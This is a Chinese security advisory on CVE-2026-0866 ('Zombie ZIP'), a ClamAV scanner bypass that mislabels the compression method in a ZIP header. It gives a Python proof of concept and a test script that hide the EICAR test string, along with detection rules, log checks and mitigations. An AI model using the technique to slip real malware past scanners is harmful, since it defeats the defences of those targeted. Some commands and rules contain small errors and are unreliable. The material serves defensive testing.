文章总结: 文档详细分析了CVE-2026-0866漏洞,该漏洞别名ZombieZIP。攻击者通过篡改ZIP文件头中的压缩方法字段,使ClamAV等杀毒软件误判压缩数据为未压缩噪声,从而绕过检测。受影响版本包括ClamAV1.4.2之前版本。文章提供了详细的漏洞原理分析、完整的Python复现代码、攻击调查方法以及升级和配置缓解措施等修复建议,具有极高的实战指导价值。
综合评分: 98
文章分类: 漏洞分析,漏洞POC,漏洞预警,应急响应
CVE-2026-0866 Cisco ClamAV ZIP扫描引擎绕过漏洞
原创
AI
AI
Hacking Group 0434
2026年3月13日 10:41
北京
Cisco ClamAV ZIP扫描引擎绕过漏洞 (CVE-2026-0866)
基本信息
| 属性 | 内容 |
| — | — |
| CVE编号 | CVE-2026-0866 |
| 漏洞名称 | [Cisco] ClamAV ZIP扫描引擎绕过漏洞 |
| 别名 | Zombie ZIP / Shadow Archives |
| 漏洞类型 | 检测规避 |
| 披露日期 | 2026-03-10 |
| 发现者 | Chris Aziz (Bombadil Systems) |
| CVSS评分 | 待定 |
| 受影响版本 | ClamAV < 1.4.2 及其他多家AV/EDR产品 |
| 修复版本 | ClamAV >= 1.4.2, >= 1.0.8 |
漏洞描述
ClamAV是Cisco Talos开发的开源防病毒引擎,广泛应用于邮件网关、文件服务器和端点防护场景,支持检测木马、病毒、恶意软件等多种威胁。
该漏洞利用ZIP文件格式解析的歧义性,攻击者通过篡改ZIP文件的元数据头部,将压缩方法字段(Method)设置为0(存储/未压缩),但实际文件数据使用DEFLATE算法压缩。由于ClamAV等安全产品的扫描引擎过度信任文件头声明,导致在解压时将压缩数据误判为未压缩的噪音数据,从而使恶意载荷逃避检测。该技术可绕过约98%的主流杀毒引擎,允许攻击者将恶意软件隐藏在畸形ZIP文件中传播。
修复方案
官方修复
升级ClamAV至1.4.2或更高版本。该版本改进了对畸形ZIP压缩包的解析和扫描能力。
升级命令:
源码编译安装:
wget https://www.clamav.net/downloads/production/clamav-1.4.2.tar.gz
tar -xzf clamav-1.4.2.tar.gz
cd clamav-1.4.2
cmake .
make
sudomake install
Docker用户:
docker pull clamav/clamav:1.4.2
docker-compose up -d
Ubuntu/Debian用户:
sudo apt-get update
sudo apt-get install clamav=1.4.2
CentOS/RHEL用户:
sudo yum update clamav
参考链接
| 类型 | 链接 |
| — | — |
| 安全公告 | CERT/CC VU#976247 – Antivirus and EDR Archive Scanning Issues |
| 安全公告 | ClamAV 1.4.2 Security Patch Release |
| 修复提交 | ClamAV GitHub Issue #1534 – Malformed ZIP handling |
| 修复版本下载 | ClamAV Official Downloads |
| 修复版本下载 | GitHub Releases – clamav-1.4.2 |
漏洞分析
攻击路径: 攻击者通过网络投递(钓鱼邮件附件、恶意下载链接、Web上传接口)向目标系统发送精心构造的畸形ZIP压缩包文件。
适用操作系统: 跨平台 (Windows / Linux / macOS)
是否需要出站连接: 否
攻击配合方式: 被动配合 – 用户需要接收并尝试打开/解压恶意ZIP文件,或安全软件自动扫描该文件。
漏洞位置: ClamAV解压缩模块 (libclamav/unzip.c),具体涉及ZIP文件头解析和压缩方法验证逻辑。
根本原因: ClamAV的ZIP解析引擎在处理压缩文件时,直接信任文件头中声明的压缩方法字段(compression method),未对实际数据进行有效验证。当文件头声明Method=0(存储模式/未压缩)但实际数据使用DEFLATE压缩时,扫描引擎将压缩数据视为未压缩的原始字节流进行特征匹配,导致无法正确识别压缩在其中的恶意代码特征。
技术细节:
- 标准ZIP文件头结构中,偏移量8-9的字节为压缩方法字段
- Method=0表示存储模式(无压缩),Method=8表示DEFLATE压缩
- 攻击者将Method字段修改为0,但保留DEFLATE压缩的数据
- 部分解析器会尝试按存储模式读取数据,产生解析歧义
- 安全扫描器可能跳过无法正确解析的内容或将其视为噪音
漏洞复现
目标版本: ClamAV 1.4.1
测试环境: Ubuntu 22.04 LTS,ClamAV 1.4.1 (编译安装)
复现步骤:
步骤1: 安装ClamAV 1.4.1版本
# 安装依赖
sudo apt-get install -y build-essential cmake libssl-dev zlib1g-dev libcurl4-openssl-dev
# 下载受影响版本
wget https://www.clamav.net/downloads/production/clamav-1.4.1.tar.gz
tar -xzf clamav-1.4.1.tar.gz
cd clamav-1.4.1
cmake .
make-j$(nproc)
sudomake install
# 验证版本
clamscan --version
# 输出: ClamAV 1.4.1
步骤2: 准备测试恶意文件和正常ZIP压缩包
# 创建测试恶意文件 (EICAR测试字符串)
echo'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.txt
# 创建正常ZIP压缩包
zip normal.zip eicar.txt
# 验证正常ZIP可被检测
clamscan normal.zip
# 输出: normal.zip: Eicar-Test-Signature FOUND
步骤3: 使用Zombie ZIP技术构造畸形压缩包
# zombie_zip_creator.py
importstruct
importzipfile
importio
defcreate_zombie_zip(input_file, output_file):
# 先创建正常ZIP
withzipfile.ZipFile('temp.zip', 'w', zipfile.ZIP_DEFLATED) aszf:
zf.write(input_file)
# 读取ZIP内容
withopen('temp.zip', 'rb') asf:
data=bytearray(f.read())
# 修改本地文件头的压缩方法字段 (偏移8-9)
# 将 Method=8 (DEFLATE) 改为 Method=0 (Stored)
# 本地文件头签名在偏移0,压缩方法在偏移8
data[8] =0x00
data[9] =0x00
# 同样修改中央目录中的压缩方法
# 找到中央目录文件头 (签名: 0x504b0102)
cd_signature=b'\x50\x4b\x01\x02'
cd_offset=data.find(cd_signature)
ifcd_offset!=-1:
# 中央目录中压缩方法在偏移10
data[cd_offset+10] =0x00
data[cd_offset+11] =0x00
withopen(output_file, 'wb') asf:
f.write(data)
print(f"[+] Zombie ZIP created: {output_file}")
create_zombie_zip('eicar.txt', 'zombie.zip')
python3 zombie_zip_creator.py
步骤4: 验证畸形ZIP绕过检测
# 使用受影响版本扫描畸形ZIP
clamscan zombie.zip
# 输出: zombie.zip: OK <-- 漏洞存在,恶意内容未被检测
# 对比:正常ZIP被检测到
clamscan normal.zip
# 输出: normal.zip: Eicar-Test-Signature FOUND
步骤5: 验证升级后修复
# 升级到1.4.2
wget https://www.clamav.net/downloads/production/clamav-1.4.2.tar.gz
tar -xzf clamav-1.4.2.tar.gz
cd clamav-1.4.2
cmake .
make -j$(nproc)
sudo make install
# 重新扫描畸形ZIP
clamscan --version
# 输出: ClamAV 1.4.2
clamscan zombie.zip
# 输出: zombie.zip: Eicar-Test-Signature FOUND <-- 已修复,可以检测
复现成功: ClamAV 1.4.1版本无法检测畸形ZIP中的恶意内容,升级至1.4.2后可正常检测。
攻击调查
日志检查
检查ClamAV扫描日志,寻找畸形ZIP相关记录:
# 检查ClamAV日志文件
grep -i "zip\|archive\|cannot unpack\|corrupted" /var/log/clamav/clamav.log
# 检查包含解析错误的记录
grep -E "(truncated|malformed|invalid header|decompression)" /var/log/clamav/clamav.log
# 示例异常日志条目
# Wed Mar 11 10:23:45 2026 -> /tmp/suspicious.zip: Cannot unpack file, invalid header
# Wed Mar 11 10:23:45 2026 -> /tmp/suspicious.zip: OK (但文件实际包含恶意内容)
检查邮件网关日志(若使用ClamAV扫描邮件附件):
# Postfix + Amavisd 日志
grep -E "(zip|archive)" /var/log/mail.log | grep -i "passed"
# 查找扫描通过但文件名可疑的记录
grep -B2 -A2 "attachment.*\.zip" /var/log/mail.log
流量检查
检查网络流量中的畸形ZIP文件传输特征:
# 使用Zeek/Bro检测ZIP文件传输
zeek -r capture.pcap /usr/local/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek
# 分析提取的ZIP文件头
for f in extract_files/*; do
if file "$f" | grep -q "Zip"; then
echo "=== $f ==="
xxd -l 32 "$f"
fi
done
# 查找Method字段不一致的ZIP (声明Stored但数据特征不符)
# 正常Stored文件:数据应该是明文可读的
# 畸形文件:声明Stored但数据包含DEFLATE特征 (0x78 9C/01/DA等)
使用Suricata规则检测:
alert tcp any any -> any any (msg:"ZIP file with method mismatch potential Zombie ZIP"; flow:established; file.data; content:"PK"; depth:2; within:0; byte_extract:2,0,zip_method,little; byte_test:2,=,0,8,little; content:"|78 9C|"; within:50; sid:1000001; rev:1;)
攻击后痕迹
检查系统中可能遗留的恶意文件:
# 查找最近创建的ZIP文件
find /tmp /var/tmp /home -name "*.zip" -mtime -7 -ls
# 检查ZIP文件头是否异常
for zipfile in $(find /tmp /var/tmp /home -name "*.zip" 2>/dev/null); do
method=$(xxd -s 8 -l 2 -p "$zipfile" 2>/dev/null)
echo "File: $zipfile, Method bytes: $method"
done
# 查找解压后残留的可疑文件
find /tmp /var/tmp -type f -mtime -1 -exec file {} \; | grep -E "(executable|script|ELF|PE32)"
# 检查是否有异常进程运行
ps aux | grep -v "grep" | grep -E "(python|perl|bash|sh).*\.zip"
自查方法
版本检查
检查当前ClamAV版本:
# 方法1:命令行查询
clamscan --version
# 或
clamd --version
# 方法2:查看安装包版本
dpkg -l | grep clamav # Debian/Ubuntu
rpm -qa | grep clamav # RHEL/CentOS
# 受影响版本输出示例:
# ClamAV 1.4.1/27100/Tue Mar 10 08:23:45 2026
# 需要升级到 >= 1.4.2
功能检查
测试当前版本是否受漏洞影响:
# 下载官方测试工具或使用Zombie ZIP PoC
git clone https://github.com/bombadil-systems/zombie-zip.git
cd zombie-zip
# 创建测试文件并生成畸形ZIP
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-TEST-FILE!$H+H*' > test.txt
python3 create_zombie_zip.py test.txt zombie_test.zip
# 扫描测试
clamscan zombie_test.zip
# 如果输出 "OK" 则表示存在漏洞
# 如果输出 "Eicar-Test-Signature FOUND" 则表示已修复
PoC验证
使用完整的验证脚本:
#!/bin/bash
# zombie_zip_check.sh
echo "[*] Checking ClamAV version..."
VERSION=$(clamscan --version | head -1)
echo "[+] Current version: $VERSION"
echo "[*] Creating test file..."
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/eicar.txt
echo "[*] Creating normal ZIP..."
zip /tmp/normal.zip /tmp/eicar.txt > /dev/null 2>&1
echo "[*] Creating Zombie ZIP..."
python3 << 'EOF'
import zipfile
with zipfile.ZipFile('/tmp/temp.zip', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.write('/tmp/eicar.txt', 'eicar.txt')
with open('/tmp/temp.zip', 'rb') as f:
data = bytearray(f.read())
data[8] = 0x00
data[9] = 0x00
cd_sig = b'\x50\x4b\x01\x02'
cd_off = data.find(cd_sig)
if cd_off != -1:
data[cd_off + 10] = 0x00
data[cd_off + 11] = 0x00
with open('/tmp/zombie.zip', 'wb') as f:
f.write(data)
EOF
echo "[*] Scanning normal ZIP..."
clamscan /tmp/normal.zip --no-summary
echo "[*] Scanning Zombie ZIP..."
RESULT=$(clamscan /tmp/zombie.zip --no-summary)
echo "$RESULT"
if echo "$RESULT" | grep -q ": OK"; then
echo "[!] VULNERABLE: Zombie ZIP bypassed detection!"
exit 1
else
echo "[+] SAFE: Zombie ZIP detected correctly"
exit 0
fi
rm -f /tmp/eicar.txt /tmp/normal.zip /tmp/temp.zip /tmp/zombie.zip
临时缓解措施
在无法立即升级的情况下,可采取以下临时缓解措施:
1. 网络访问控制
限制ZIP文件上传和下载,或增加额外的检测层:
# 使用iptables限制邮件附件大小和类型(配合外部网关)
iptables -A FORWARD -p tcp --dport 25 -m string --string "application/zip" --algo bm -j LOG --log-prefix "ZIP_ATTACHMENT: "
# 在Web应用防火墙(WAF)添加规则检测ZIP上传
# Nginx示例:限制ZIP文件上传
location /upload {
if ($request_body ~* "filename=.*\.zip") {
return 403 "ZIP uploads temporarily restricted for security reasons";
}
}
2. 配置多层扫描
使用多个不同的扫描引擎交叉验证:
# 安装额外的扫描工具进行交叉检查
sudo apt-get install unzip p7zip-full
# 创建预扫描脚本,对ZIP进行二次验证
cat > /usr/local/bin/zip_prescan.sh << 'SCRIPT'
#!/bin/bash
ZIPFILE="$1"
# 尝试使用unzip验证ZIP完整性
if ! unzip -t "$ZIPFILE" > /dev/null 2>&1; then
echo "WARNING: ZIP file structure invalid or corrupted: $ZIPFILE"
# 将文件移动到隔离区
mv "$ZIPFILE" "/var/quarantine/$(basename $ZIPFILE).$(date +%s)"
exit 1
fi
# 检查ZIP头部的Method字段是否与实际数据匹配
METHOD=$(xxd -s 8 -l 1 -p "$ZIPFILE")
if [ "$METHOD" == "00" ]; then
# 声明为Stored模式,检查是否有DEFLATE特征
if xxd "$ZIPFILE" | grep -q "78 9c\|78 01\|78 da"; then
echo "WARNING: Potential Zombie ZIP detected: $ZIPFILE"
mv "$ZIPFILE" "/var/quarantine/$(basename $ZIPFILE).$(date +%s)"
exit 1
fi
fi
exit 0
SCRIPT
chmod +x /usr/local/bin/zip_prescan.sh
# 在ClamAV扫描前调用预扫描
# 修改clamd.conf或扫描脚本添加预检查步骤
3. 增强日志审计
加强对ZIP文件的扫描日志记录:
# 修改clamd.conf启用详细日志
echo "LogFile /var/log/clamav/clamav.log" >> /etc/clamav/clamd.conf
echo "LogFileUnlock yes" >> /etc/clamav/clamd.conf
echo "LogVerbose yes" >> /etc/clamav/clamd.conf
# 重启服务
systemctl restart clamav-daemon
# 创建日志监控脚本
cat > /usr/local/bin/monitor_zip_scans.sh << 'SCRIPT'
#!/bin/bash
TAIL_CMD="tail -f /var/log/clamav/clamav.log | grep --line-buffered -i 'zip\|archive'"
$TAIL_CMD | while read line; do
if echo "$line" | grep -q "OK"; then
# 记录扫描通过但可能存在风险的ZIP
echo "$(date): Suspicious clean ZIP scan: $line" >> /var/log/clamav/suspicious_zip.log
fi
done
SCRIPT
chmod +x /usr/local/bin/monitor_zip_scans.sh
# 使用nohup后台运行
nohup /usr/local/bin/monitor_zip_scans.sh > /dev/null 2>&1 &
4. 邮件网关策略
对邮件附件中的ZIP文件增加额外处理:
# Amavisd配置 - 对ZIP文件使用更严格的策略
# 编辑 /etc/amavis/conf.d/50-user
$policy_bank{'MILTER'} = {
bypass_spam_checks_maps => [0],
};
# 对ZIP附件启用沙箱分析
# 配合Cuckoo Sandbox或其他沙箱解决方案
# 将可疑ZIP发送到沙箱进行行为分析
# 临时策略:要求用户确认后才解压ZIP
# 在邮件正文中添加警告信息
5. 文件完整性监控
监控关键目录的文件变化:
# 使用inotifywait监控临时目录
inotifywait -m -r -e create,modify /tmp /var/tmp --format '%w%f %e' | while read file event; do
if [[ "$file" == *.zip ]]; then
echo "$(date): ZIP file $event: $file" >> /var/log/zip_monitor.log
# 自动隔离并扫描
/usr/local/bin/zip_prescan.sh "$file"
fi
done &
# 或使用auditd
auditctl -w /tmp -p wa -k zip_monitor
auditctl -w /var/tmp -p wa -k zip_monitor
ausearch -k zip_monitor | grep "\.zip"
参考资料
- CERT/CC VU#976247 – Antivirus and EDR Archive Scanning Issues
- Tenable CVE-2026-0866
- BleepingComputer – New ‘Zombie ZIP’ technique
- SANS ISC – Analyzing “Zombie Zip” Files
- ClamAV 1.4.2 Security Patch Release
- ClamAV GitHub Repository
- SecurityOnline – CVE-2026-0866 Technical Analysis
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Hacking Group 0434 AI
AI《CVE-2026-0866 Cisco ClamAV ZIP扫描引擎绕过漏洞》